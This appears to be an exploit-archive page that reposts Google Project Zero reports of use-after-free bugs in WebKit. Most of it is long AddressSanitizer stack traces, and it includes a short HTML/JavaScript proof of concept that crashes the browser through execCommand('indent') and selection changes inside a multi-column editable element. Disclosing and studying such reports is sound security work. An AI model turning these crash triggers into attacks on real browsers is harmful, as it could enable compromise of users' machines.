    #5 0x114b20fd8 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xae8fd8)
    #6 0x114b2196e in WebCore::FormAssociatedElement::resetFormOwner() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xae996e)
    #7 0x114dcbe6d in WebCore::HTMLInputElement::finishedInsertingSubtree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd93e6d)
    #8 0x114404e08 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChange const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cce08)
    #9 0x1144049a2 in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&, WebCore::ContainerNode::ReplacedAllChildren) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cc9a2)
    #10 0x1144042ba in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cc2ba)
    #11 0x1144072f8 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cf2f8)
    #12 0x1163be49d in WebCore::Node::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x238649d)
    #13 0x115a321e6 in WebCore::jsNodePrototypeFunctionAppendChildBody(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x19fa1e6)
    #14 0x115a2c648 in long long WebCore::IDLOperation<WebCore::JSNode>::call<&(WebCore::jsNodePrototypeFunctionAppendChildBody(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x19f4648)
    #15 0x354389601027  (<unknown module>)
    #16 0x122546dd7 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aadd7)
    #17 0x122546e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #18 0x12253ff6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #19 0x1221a3847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #20 0x12212488a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #21 0x12173d731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #22 0x12173d9a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #23 0x12173dd13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #24 0x115276615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #25 0x1156896cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #26 0x1149f5010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #27 0x1149f4ae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #28 0x1149bcb97 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x984b97)
    #29 0x1149bdbde in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x985bde)

previously allocated by thread T0 here:
    #0 0x111d31d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffa1ed8281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x122c0ead4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x122c0cd6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x122b93247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x122b9263a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x114d97a90 in WTF::VectorBufferBase<WebCore::FormAssociatedElement*>::allocateBuffer(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd5fa90)
    #7 0x114d97df3 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::reserveCapacity(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd5fdf3)
    #8 0x114db0a77 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd78a77)
    #9 0x114dad5cf in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd755cf)
    #10 0x114dad43f in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd7543f)
    #11 0x114b20fd8 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xae8fd8)
    #12 0x114b212d3 in WebCore::FormAssociatedElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xae92d3)
    #13 0x114d9f8b0 in WebCore::HTMLFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd678b0)
    #14 0x114e80f59 in WebCore::HTMLTextFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe48f59)
    #15 0x114416e68 in WebCore::notifyNodeInsertedIntoDocument(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3dee68)
    #16 0x114416cad in WebCore::notifyChildNodeInserted(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3decad)
    #17 0x114404d67 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChange const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ccd67)
    #18 0x114403396 in WebCore::ContainerNode::parserAppendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3cb396)
    #19 0x114d4acdc in WebCore::executeInsertTask(WebCore::HTMLConstructionSiteTask&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd12cdc)
    #20 0x114d43ea7 in WebCore::HTMLConstructionSite::executeQueuedTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd0bea7)
    #21 0x114d73c8a in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3bc8a)
    #22 0x114d73849 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3b849)
    #23 0x114d729c2 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a9c2)
    #24 0x114d744e8 in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3c4e8)
    #25 0x114752531 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x71a531)
    #26 0x11488f63d in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x85763d)
    #27 0x114850736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #28 0x1142cc047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #29 0x1142c4df1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb3749b) in WebCore::FormSubmission::create(WebCore::HTMLFormElement&, WebCore::FormSubmission::Attributes const&, WebCore::Event*, WebCore::LockHistory, WebCore::FormSubmissionTrigger)
Shadow bytes around the buggy address:
  0x1c18000172b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c18000172c0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x1c18000172d0: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
  0x1c18000172e0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c18000172f0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
=>0x1c1800017300: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c1800017310: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c1800017320: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
  0x1c1800017330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c1800017340: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c1800017350: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==934==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1354

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<style>
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</style>
<script>
function f() {
  document.execCommand("indent", false);
  var var00031 = window.getSelection().setBaseAndExtent(sum,16,null,6);
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<body onload=f()>
<pre style="column-count: 78; -webkit-user-modify: read-write">
<details>
<summary id="sum" class="class9">
<content id="htmlvar00040">

<!--
=================================================================

ASan log:

=================================================================
==732==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000089218 at pc 0x00010e8a4eab bp 0x7fff568795d0 sp 0x7fff568795c8
READ of size 8 at 0x611000089218 thread T0
==732==WARNING: invalid path to external symbolizer!
==732==WARNING: Failed to use and restart external symbolizer!
    #0 0x10e8a4eaa in WebCore::RenderObject::previousSibling() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x53eaa)
    #1 0x11101ce3e in WebCore::RenderObject::previousInPreOrder() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27cbe3e)
    #2 0x111001c59 in WebCore::RenderMultiColumnSet::containsRendererInFlowThread(WebCore::RenderObject const&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27b0c59)
    #3 0x110ffb18a in WebCore::findSetRendering(WebCore::RenderMultiColumnFlowThread const&, WebCore::RenderObject const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27aa18a)
    #4 0x110ffabf9 in WebCore::RenderMultiColumnFlowThread::processPossibleSpannerDescendant(WebCore::RenderObject*&, WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a9bf9)
    #5 0x110ffb59e in WebCore::RenderMultiColumnFlowThread::flowThreadDescendantInserted(WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27aa59e)
    #6 0x110dc9aed in WebCore::RenderBlockFlow::insertedIntoTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2578aed)
    #7 0x110ea0ab6 in WebCore::RenderElement::insertChildInternal(WebCore::RenderObject*, WebCore::RenderObject*, WebCore::RenderElement::NotifyChildrenType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264fab6)
    #8 0x110ea06f6 in WebCore::RenderElement::addChild(WebCore::RenderObject*, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264f6f6)
    #9 0x110d8a0c3 in WebCore::RenderBlock::addChildIgnoringContinuation(WebCore::RenderObject*, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x25390c3)
    #10 0x111184c69 in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2933c69)
    #11 0x111183dab in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2932dab)
    #12 0x1111835a8 in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29325a8)
    #13 0x111182d7b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2931d7b)
    #14 0x10efe72f9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7962f9)
    #15 0x10efe1ac5 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790ac5)
    #16 0x10efe8542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #17 0x11192f01c in WebCore::VisiblePosition::canonicalPosition(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30de01c)
    #18 0x11192edc7 in WebCore::VisiblePosition::init(WebCore::Position const&, WebCore::EAffinity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dddc7)
    #19 0x10f811acf in WebCore::IndentOutdentCommand::indentIntoBlockquote(WebCore::Position const&, WebCore::Position const&, WTF::RefPtr<WebCore::Element>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfc0acf)
    #20 0x10e96490a in WebCore::ApplyBlockElementCommand::formatSelection(WebCore::VisiblePosition const&, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11390a)
    #21 0x10e963a3e in WebCore::ApplyBlockElementCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x112a3e)
    #22 0x10ec00e8d in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afe8d)
    #23 0x10f1843e3 in WebCore::executeIndent(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9333e3)
    #24 0x10f181ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #25 0x10f00200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)
    #26 0x10fbf7593 in WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13a6593)
    #27 0x10fbdf068 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138e068)
    #28 0x5be2c2a01027  (<unknown module>)
    #29 0x11cd5fdd7 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aadd7)
    #30 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #31 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #32 0x11cd58f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #33 0x11c9bc847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #34 0x11c93d88a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #35 0x11bf56731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #36 0x11bf569a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #37 0x11bf56d13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #38 0x10fa8f615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #39 0x10fea26cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #40 0x10f20e010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #41 0x10f20dae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #42 0x10f0eb051 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x89a051)
    #43 0x10f0fac0f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8a9c0f)
    #44 0x10efedb0f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79cb0f)
    #45 0x10efe7bad in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796bad)
    #46 0x10f39a3ed in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb493ed)
    #47 0x10f39775c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4675c)
    #48 0x10f007523 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b6523)
    #49 0x10f58b5d0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a5d0)
    #50 0x10f0a8693 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x857693)
    #51 0x10f069736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #52 0x10eae5047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #53 0x10eadddf1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #54 0x1115b5661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #55 0x109ea943b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #56 0x109eac6d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #57 0x109eabbc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #58 0x10969d117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #59 0x10947c695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)
